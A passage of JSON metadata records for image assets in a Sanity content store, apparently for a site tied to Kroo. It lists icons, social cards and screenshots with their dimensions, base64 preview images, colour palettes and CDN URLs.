U7FoputEr57aMuzmLPTFrcs5WBVNxx3O29SgwmHw9xfRGjAXRa3JOZ+pR3PnKmVLglow+OddkfE67de6L/5KPM59jniSMAWroCl1yPAd8kvFezi85zRwUa+1v2s5stjWzz/Syyzxi/R9g9A05rsBagAtPjrQj/cA3GZMqNn6ynMnsO5di65xaTMxiUlogo6lHN0tKq49HU0y0R3ar2qtDQ7lsSva0XTYja5TNlgu7zslc2C9kjK9Z2NtuPaMpYyKxbav1NhoOgdcrhsNqHdcFXW98BeYqSywj6FC8vC3AzHRpwLaqYGnAGvdVcHQhkVtece5VxnE5l9LYipdk/f4BJsHMyU2G1FEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#553237","foreground":"#fff","population":1.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#610404","foreground":"#fff","population":4.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ec540f","foreground":"#fff","population":7.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c250c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec5632","foreground":"#fff","population":3.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#644c40","foreground":"#fff","population":0.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec540f","foreground":"#fff","population":7.47,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7dcxEE","_type":"reference","_weak":true}]}},"originalFilename":"icon-dataflow-01.svg","path":"images/sczeoy4w/production/26549052f7ef0db597fdb87ad15b3b608a759e26-24x24.svg","sha1hash":"26549052f7ef0db597fdb87ad15b3b608a759e26","size":912,"title":null,"uploadId":"Q9adNK6fLGth6rRkjRt0sUgWqtTMbY8H","url":"https://cdn.sanity.io/images/sczeoy4w/production/26549052f7ef0db597fdb87ad15b3b608a759e26-24x24.svg"} {"_createdAt":"2024-11-12T20:49:21Z","_id":"image-ebcbecf26f5a73f3a4de1e4b28601b8f44b0e15d-24x24-svg","_rev":"j14GNyKgkSja9ilYIemhhp","_type":"sanity.imageAsset","_updatedAt":"2024-11-14T12:12:02Z","altText":null,"assetId":"ebcbecf26f5a73f3a4de1e4b28601b8f44b0e15d","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJJgD$oK1eo1NvoKfQWWa|snAYfQ65a|E$w_fQS3fQoK1ea|WWWp}C","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC0UlEQVR4nIWVzWtWVxDGfxKxQVe60XZRFzFISbVfdFOVV6uLYPK+58x9vVJSCy60G+2mCYIfO91oQVRQiUqjcVPxozYLhdKVS/s/tP/JfcrMPXmTNxF7YWCYmec5c2bmzIU1n2CDOoyqx0fqsleJg6rohrjuNvd1GOX/PnXYqJodATTmlLmvxHMZL0Ncb21zhXy7Y95NVrNJFePK/NgYjxvjlSqeBkHFTVXcCt14Fr7MYtPjtKYYd+z6zFqyn2UsOUjGhcb4XhUnZfwU4nrmRJO5KItslwLj2OVMo2Y1O5rM6UK2qIqZUruzyjwaXNl4GDb3JWY8SxlLge2yfTm70VKzxZJZ3WQ+KQe0RJnrISvEpzzGY+UYJ04cbCb5gOiYMRd1SZxTxU4ZX8p4oMwfqvhBPXaHuO62zAP1+SJiE+cKdlbGh6jP3gjwk/oc1jSbZXyrihdK3FGfiSiLi+tuy7xQj0MRW3GkZHlfNXso13XDfABqRppMpxR9XsZnbgtJfK7EPfc103TC1mdCFnHPHIeMnozfZVxTZiwyMT71TJrEKxlnlPkqxDgTtsztQeaZMWV+CY4ePa/hEGGZyW3q8Z0STwrBgoyFov+mzHHNsDVi81rCNVcuhCOlWbUSN51YxhMlbsg4Fr6akYjtM1FKU67cNiVeQBTYx+gEWzTNxzK+ViIrcbJIDpv7PMZj1zVl1djEC0h8o0RXmfOyyOiOjLtFXL8RPo/psk+ZS8Njs3qwM38q82t0sX3LL0t9V8RtmddlChYKZtVge6eODp7eXzL+UeZvGZdVM6XEAWX2h7juNuOKxzTGv46JJbH89IaWQ7uy3jSZt8pclTFZiu6dHCszNynjahyaeROY1cthaH1NMR6n+WpqV5S/7fkYi3Y0XB+sLyVOqcuudetrKFNfmu02mS3dX1mwy91MzMZret+CXUM8+AUEsPwCQk/sed8v4D+lt1MZHzyjHQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c1c34","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#801c10","foreground":"#fff","population":7.81,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#801c10","foreground":"#fff","population":7.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#742e24","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c96153","foreground":"#fff","population":1.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#942f04","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85510","foreground":"#fff","population":5.38,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7dcxEE","_type":"reference","_weak":true}]}},"originalFilename":"icon-user-circle.svg","path":"images/sczeoy4w/production/ebcbecf26f5a73f3a4de1e4b28601b8f44b0e15d-24x24.svg","sha1hash":"ebcbecf26f5a73f3a4de1e4b28601b8f44b0e15d","size":537,"title":null,"uploadId":"XxHoL5A4dUYGZEZAvQcAmifl82NwGb3y","url":"https://cdn.sanity.io/images/sczeoy4w/production/ebcbecf26f5a73f3a4de1e4b28601b8f44b0e15d-24x24.svg"} {"_createdAt":"2024-11-12T20:52:04Z","_id":"image-8169ea15944343d01ba8ebfa60da56e9f7357c95-24x24-svg","_rev":"j14GNyKgkSja9ilYIemk8V","_type":"sanity.imageAsset","_updatedAt":"2024-11-14T12:12:07Z","altText":null,"assetId":"8169ea15944343d01ba8ebfa60da56e9f7357c95","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDJ43Jsn1e,=snoKw_snJSS365Nv1esn65w_AYE$]lw_1ew_S3AY}C","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADA0lEQVR4nIWV3YtWZRTFfw19CIIVklqIUM1clPhRQd0Eo2kgTe85e5+3E5R25QdhFNTYBBEUIdjHRRRk2QTBGBE0Yg2S2SdWVJddeBf+K2fJ3ueZ8Z0ZsQOH9/A+z15n7b3Weg6suAQ3aJI1qrhLA7arZpcaBnnHc/wXa5Os4f8uTXKjWjZloXNMxqxqzsj5Vg3nZPwgZ07GqwV8Y9RcG6zlZjVMyDjSOac753s1fCPjUxnvd8aXMv6Tc1nGRRlzXcVhTTERtauZ9WCvyFmQM6+aGQ3ZowFbNWBcxjNyflbDjzI+lnNGxkLWRO0i05xZy6bOOFzA5uS0epItyfpNxtRyq4ynC+uPVLE791juXcjaARsX2YUAu2XZ3p9yjsq5M1nX3KaW++U8JecTGb/G/Dpns4z1CerMJ3DNrm4ft5CKxZCNS3IuyXhbxsPZRs1Qxgcyvkt2xodyHtPjrBWMZRc1M7lWMx1E0JDtMj6X8a+cP4qSJ+UcT4VrLqjmpBoOynkwWcPYiJB7C8tZtWyjWCSs8ZWcF0NRORdk/CPjnCpeUs3ObPEaFtGQrXJOBWhnTCKnknM2gcK0U+yQ8byMd1VzsDPuU8vd5XeLDrA2hFoCNO4tJM6qoooZ9oDOe7n4EDfJ2aCGe3K+MZIwec/iLTkeQnX7WJcOsJWAfcsxg1NBf1k7U9wu44Aazsv5K0cRqYmXD9nT7WddtmyjLfeizCZoDHjE9WkP53U5PwVI57xWYvi3Gt5IJzQrRYm2nGNF+pm0wlUV75DzgozzMt7JqPVm/l0N06p4JF6y3DZh7L7tuaJ2JGB9+qw3/V4ZX3fOb+FHGb/I+SzFrHmuRHDE2BG9J0aiZ1ejFxuSsXGkJOWLYu6j4YSu5nTmuebQUvRWHQ6xId4a7cd8Kh6Q8Wgyani2RPOELK220FW8rJbxVR5N108xsTinErX5tEvYordGPM+XtWgzmI2vOr6WMY1DM2YaQ+7V7w/Y/u7VrJkOi1z3gF0BvPQJyMLyCcjnmm3X+wRcAaVeP9dCR812AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#785c3a","foreground":"#fff","population":2.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82160a","foreground":"#fff","population":0.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f15210","foreground":"#fff","population":6.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#841e14","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e45e51","foreground":"#fff","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4634f","foreground":"#fff","population":1.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f15210","foreground":"#fff","population":6.94,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7dcxEE","_type":"reference","_weak":true}]}},"originalFilename":"icon-globe.svg","path":"images/sczeoy4w/production/8169ea15944343d01ba8ebfa60da56e9f7357c95-24x24.svg","sha1hash":"8169ea15944343d01ba8ebfa60da56e9f7357c95","size":1599,"title":null,"uploadId":"DsneWEUqL4QXt4rfNAYbTwJMC7yJMiZ6","url":"https://cdn.sanity.io/images/sczeoy4w/production/8169ea15944343d01ba8ebfa60da56e9f7357c95-24x24.svg"} {"_createdAt":"2024-12-05T07:25:08Z","_id":"image-316b332fdd52d1fe67609a076cf845e066694647-1200x628-png","_rev":"lbpMA3MBWy0eIji4xI7JCY","_type":"sanity.imageAsset","_updatedAt":"2024-12-05T07:25:08Z","assetId":"316b332fdd52d1fe67609a076cf845e066694647","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M89tTiMuxSoc00~qRnt7bE4:4n%KozRot1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACmElEQVR4nE3SaVMSAQDG8f0MXQgSCy4r7LqIiwJmjXiMFCCieGQ22WFOhY5WpiIhh8glQR7dU72wxmmaqb5AfbZ/M9RMfYDnN8+Lv3DKNINZmkdSF3D1LDMYyhCJl3H7N2mxLXHOuoKh7TEt0jome4rW9gwWpYBDL6H3VXD7S0hajlY5hVFKIhit19G6H9A3+IT4bIlU9jPF6jci8T3M8goG2ypGaQ2TvNEcWZxZvP11FhLHbOe/sPr4PeGJBg5PHpP8FMFgmWuCF4fWiUzkWUy8YmXtI5GJKp2+LTq6n6J5M7j8eZyeHTRvifn7xxyf/OLryXeelY9YfrhPIFzHouYRzphncXkTDASTjES2CY0XGI2XCY1XuDxWJRitMRJtMDzaoKe/Sk+gxnLqCyc/fnLy4ZjDQpV89pDJm2+QuvYQzp6/htu/xFAoxZWxbBMMxYqEJypEJ+tEp/YZnTokGNtHv1hB9RWJ3XnJzsEn3hy941XlgFz2LdHZt9j1BoJBnKO7b4VgNE14PMdovEh0qkJ0ao+x6Tqx6QNiM0dN0N1bwqrl6ArsMnfvOenca5LJl1ydP0C/VEPsqPx52Oldon9kk0AwxeCVDMOhPMPhXYZCJfpHyvQNl/EPlFG6C4hqDoenSCDUID73gmCsjstfwKJkMDtyCKdNMziUW+jeBF29q3T6HuH2PUHvTaJ5t7C7NhGVTUR1C4tzuwlq/hoXhg7xDzTo8O4iKtuY5BQmOY1w2hDHYZ2mU7uNqiewqfeROpZR9DVsyiNa2lYx2P51eN6ZxeGpoPlqtHcVsKppzO1JjPYkpvY0wqlzcUTzJLJ8gzZ1kVb7XWxKAtWzhuh8iMH2X9hyilbHn7BFZedvzBsYpXVapI0m+BvqWYeMjOUDyQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f356c","foreground":"#fff","population":1.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041466","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c3c7db","foreground":"#000","population":12.16,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3c7db","foreground":"#000","population":12.16,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a81c4","foreground":"#fff","population":0.75,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f7292","foreground":"#fff","population":4.49,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c04448","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"KrooSocialCard.png","path":"images/sczeoy4w/production/316b332fdd52d1fe67609a076cf845e066694647-1200x628.png","sha1hash":"316b332fdd52d1fe67609a076cf845e066694647","size":292533,"uploadId":"nb15NzDB7yMgxJrBiStlwMR2YgR6OWX0","url":"https://cdn.sanity.io/images/sczeoy4w/production/316b332fdd52d1fe67609a076cf845e066694647-1200x628.png"} {"_createdAt":"2025-01-15T15:29:45Z","_id":"image-88929b889ac8e33499866181f9816ac62c70e65d-1800x942-jpg","_rev":"UCe181y7ND8VpGNVLDxtdn","_type":"sanity.imageAsset","_updatedAt":"2025-01-15T15:29:45Z","assetId":"88929b889ac8e33499866181f9816ac62c70e65d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M59G%-a17hEmL}6[os;_#kAD00%iM{Ri?d","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":942,"width":1800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMBBAUH/8QAJBAAAQQBAwMFAAAAAAAAAAAAAwABAgQRBRIhFCIxBhUzUnL/xAAVAQEBAAAAAAAAAAAAAAAAAAADBv/EABsRAAMAAgMAAAAAAAAAAAAAAAABAgMxERJB/9oADAMBAAIRAxEAPwDkAKVHphbqp5GdueOMpUNJqe7VQ3DzrALPEpSHjayzmsGbbgpOPHc6i0UhZDcpJzdvtJ3VJS65EloCZTh16P8AUdOrQ1c9fT7PUVoP2kx5Qq935W/LISLQfB//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2c5a","foreground":"#fff","population":0.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":26.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":26.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9497c4","foreground":"#000","population":0.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec7b45","foreground":"#000","population":0.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45984","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1500d","foreground":"#fff","population":1.82,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Social media image template with CTA button _ Dark blue.jpg","path":"images/sczeoy4w/production/88929b889ac8e33499866181f9816ac62c70e65d-1800x942.jpg","sha1hash":"88929b889ac8e33499866181f9816ac62c70e65d","size":120759,"uploadId":"d51PEdRAZgaWunUPkYeNbJv2jgLcXTsk","url":"https://cdn.sanity.io/images/sczeoy4w/production/88929b889ac8e33499866181f9816ac62c70e65d-1800x942.jpg"} {"_createdAt":"2024-12-05T07:49:04Z","_id":"image-25114174008b1111f5ce2173d0213783635e3f8a-1200x630-png","_rev":"UPIPX87Xr8dUQrGWDx8IwF","_type":"sanity.imageAsset","_updatedAt":"2024-12-05T07:49:04Z","assetId":"25114174008b1111f5ce2173d0213783635e3f8a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9PjGp0@kZ?a^iSH9z}gG1Xo^htkR-vz9b","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACNklEQVR4nAXBW3eaMAAAYP75fsPe9ry9beesdsXOrj2dl1W0lYAgUJBLCCSEm5cqCaFq930Souc4E3HWItomeZvmAhctKTgpGSk5JGLlc93lHuQVpi0EXTgTicFp1FRUCtNWt+gcRHMQzNTgRY/UZfQM/LnqLvTIdHeGx3SXORHPsz0n/jt86aAqiMOLWPLgYay8yoPZ9e2/q5tRTx7d3in9u6df/ZE8UKaLZOU3ayQg4bg41EXBiN8hrUOawLbkRYfhk92TJ1c3ox9XD99/3suDp8HDTB5MrvuT4dRbxw0uW7Cm/bn3Vw8SnDMadvGigwspQPxZTx7Hq7tH8Ou3Ig+Ux4kxVqzR1Bw/LVU9JHmT1UyeuZ++PXzuTc0wP9ZVm5ginEuQnGz/qFnbhVEqKpkDqlu14W6sdR36JI/jfb2td2xmoS83ytd74CWb/Y7vCNnEgQTJxfI7zebA4uqKLUym28xwuRO2Kdq8Ia+hcFO/xXgLnAR4JC1ZtT2lGUNpI0Fytj0OzINqHoHVAIsBixmvzAkFhG/b8JVDfZdhmu9wvk+LI64Eop2PhI+EhLAI7coCRNWpZtdOwNZxFyRdhN9TfNyHducNW6gdCrKpD6QUQSrskNsBd6NWSkibuplvxEszNd0iwhyXl6w60+pU5RseLs52/+z+EWi5zcso5YbHNKcxPGb5XEroKSUM4WOMWUxbXJ6y6oPWl2LT7UnaecOPVe9iyyJ62RdVQjvL58BpNKcxPfYf3+k8fjowc48AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4148","foreground":"#fff","population":0.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#701814","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd4af","foreground":"#000","population":4.18,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dfbcd4","foreground":"#000","population":0.05,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd4af","foreground":"#000","population":4.18,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4d86af","foreground":"#fff","population":0.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df5650","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image (5).png","path":"images/sczeoy4w/production/25114174008b1111f5ce2173d0213783635e3f8a-1200x630.png","sha1hash":"25114174008b1111f5ce2173d0213783635e3f8a","size":252776,"uploadId":"0KDOwoJ5Vm88J6xVANM9PwSixzwemAZZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/25114174008b1111f5ce2173d0213783635e3f8a-1200x630.png"} {"_createdAt":"2024-12-05T08:05:48Z","_id":"image-bdb9a1352561a3d7ec927added195863c18c577e-1920x1080-webp","_rev":"CsJhS699U5wscrFy6a3oP3","_type":"sanity.imageAsset","_updatedAt":"2024-12-05T08:05:48Z","assetId":"bdb9a1352561a3d7ec927added195863c18c577e","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9D#{W1?E{|z1?wza|a|jtWo1V]W=26K]W","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAPoAAAD6AG1e1JrAAAB3UlEQVR4nM1SMWtUQRDeiyYmjWLA3OXdzjzPaApDbFIIQWJEDYJo0pyIhXYRxGju7UzOiOH9jMTO2lJRiJ3YpLAMWIVwufd29l3EPiA+2XceiJZaZOBb2J3Zb7+db5Q6LJGruC+fWuzPVXw0V6r0RzIv9RCruO+1qh/JC3QLi8sqHvisFvt97utwfNzp5qRDutbRfLkFNLYbxoMF2Z5uDO2GVOng89EspIqtLJ2S8tPTnSAaT4IIWvjsZLvK51zAVzsVM1MQAd/ONK075I9O86bT5oXA8oRXq1rAQVIztyQ0dyXkK3bUTDnduCfaPBYwdzKMpgUNi+ZNAXonmjcs0hsBsoL8XYAOLNCWBbq/pxvDStDUbMiPLNJaqqOFFKJLguaJ1RQ7oIcOaN4hvXJI3zwE6IsgtR3QgUPOPTKkHUHT3AcOlF8Ezc0EuZ5CdL1dNRf9l5zmBavpRlIopBVB+uCQ3wvSSwv09neFDnjLgnlQKMx1Y8iNrJZ9Hz25q62WfRv8me+pL0qCaDwFmtsPm7OuShdSoHnRZkM0feo+RGsCKxPeNOWd9M52XS7c/IXeXpW8sz/OLh3bPh8PePd3zjRPtAvi5TmpmtkMaCzvufwvc7it6sUo/TWH/zN+Asf/+zUM2Tx0AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b2d41","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c0430","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#713551","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#92063f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f62c7e","foreground":"#fff","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#713551","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc046c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"Kroo_Logo_2022_Large_1920X1080.webp","path":"images/sczeoy4w/production/bdb9a1352561a3d7ec927added195863c18c577e-1920x1080.webp","sha1hash":"bdb9a1352561a3d7ec927added195863c18c577e","size":10522,"uploadId":"z71pGr4rPm2BN16qzFqyIlDrvrz1MAk9","url":"https://cdn.sanity.io/images/sczeoy4w/production/bdb9a1352561a3d7ec927added195863c18c577e-1920x1080.webp"} {"_createdAt":"2024-12-26T18:22:09Z","_id":"image-b26eae9811450066cffd92e78dd6a4eee7ec5463-1240x765-png","_rev":"y6qAFx3KEt65PvSAG6FMDw","_type":"sanity.imageAsset","_updatedAt":"2024-12-26T18:22:09Z","assetId":"b26eae9811450066cffd92e78dd6a4eee7ec5463","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V86Hy8WAV?t8j@~qaeWAogj@_3ayjsfkay_3azj[f6ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6209150326797386,"height":765,"width":1240},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABMUlEQVR4nM2S0WqDMBSGfQuTaIzGaqLVpt1WS1cTdWWDvf8D/SMplHUw2LqbXfxwwsn3cThJdD5bzLOFcxZ2PGE8neDsiGWZMS8L3DyF3jQ5TM6F2k2Xs7+zLJe+tWNgI2N6aK0gpUSe5xBCQBYFlG7QbLZQ3RYr3aFqDNRmD2UOqPoBZfsAWTUoCs+JwPlEdV0jywQIIYjjOMTXCc/AiwpcKvCiRtnsYI5n7Ow72sMrZH9EkteICb1yPlGapkiSJEiuoRSUMVCWgLEUScpR6zWO4wz38ob9s0PT75DlEpTSGza6EX0TD61WKzw9PmIYBhhjoJRCJsT9wrIs0fc91l0HrTX8qsRfhP7R2rYNsqqqwsR3Cwkh4JyHKT//Br97eq/Qg4yxa76KyG+FP83/F34ADzFHWr45mp8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d4665","foreground":"#fff","population":0.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#124496","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2565ac","foreground":"#fff","population":0.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcd4bc","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#72a3d2","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6982a9","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2565ac","foreground":"#fff","population":0.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"optimize click.png","path":"images/sczeoy4w/production/b26eae9811450066cffd92e78dd6a4eee7ec5463-1240x765.png","sha1hash":"b26eae9811450066cffd92e78dd6a4eee7ec5463","size":117097,"uploadId":"5zYEfiaMP8P6Uai1C3TDCq17d2r4KLYr","url":"https://cdn.sanity.io/images/sczeoy4w/production/b26eae9811450066cffd92e78dd6a4eee7ec5463-1240x765.png"} {"_createdAt":"2024-11-23T10:49:35Z","_id":"image-479a138ad118be8522b87c66a968ed850967e657-1770x900-png","_rev":"3dV4FODjLd0CdPPVQrr25j","_type":"sanity.imageAsset","_updatedAt":"2024-11-23T10:49:35Z","assetId":"479a138ad118be8522b87c66a968ed850967e657","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6SF;N02^+%201~qxtRkxu%Ms=WBX3t7xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9666666666666666,"height":900,"width":1770},"exif":{"PixelXDimension":1770,"PixelYDimension":900,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABgklEQVR4nHXS2ZLbIABEUf//NybjxB7ZCIMAsYhF8k1BksniRFX9qKNuxMm5yKIdy+LwPpFSwa2R+11xuc5MtweLCaStseWdtO1sI4WcC/t+8PtzcjZgjMe5QIx5gOsaEEJyvd6YbjPGONIAKluulNwopVHrPsDjeH7kpJVFKYu1HewvNVLKA1FKo7XBOY9fA97HkRg2Sq4DrH/lJOVCTwd7uw72Jn3+unpCTMS0EeOv9A/+F3w8DEqZj8nbVsecPnENCesjLkTWGFijx8d+nhu1NFrbXzIazrMeqLV+oAPMFWU817vmen8wzYJZC7TVhBhorfF8Hi85zbPhfteI2Yyf02eXuhO3jJCaz28Tn94ufL1ceChJiJ5Sy3gZni85CdFBwywdbk3fJ9c+OSOl5ctZcD6/8z5NOGdHs+PobV6xH6AeDed5od/Jn2BMhYcKTJNlmhRCCJxbyXknl4PW/o2OMxRCIaX+A0xbRanE7dbvpEFKybJYnGtYuxNjb7q/gN8Ai6MENLNSeVUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36342c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#262261","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9995e8","foreground":"#000","population":0.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8d4a4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9995e8","foreground":"#000","population":0.37,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696aa4","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#706aca","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"add-connector.png","path":"images/sczeoy4w/production/479a138ad118be8522b87c66a968ed850967e657-1770x900.png","sha1hash":"479a138a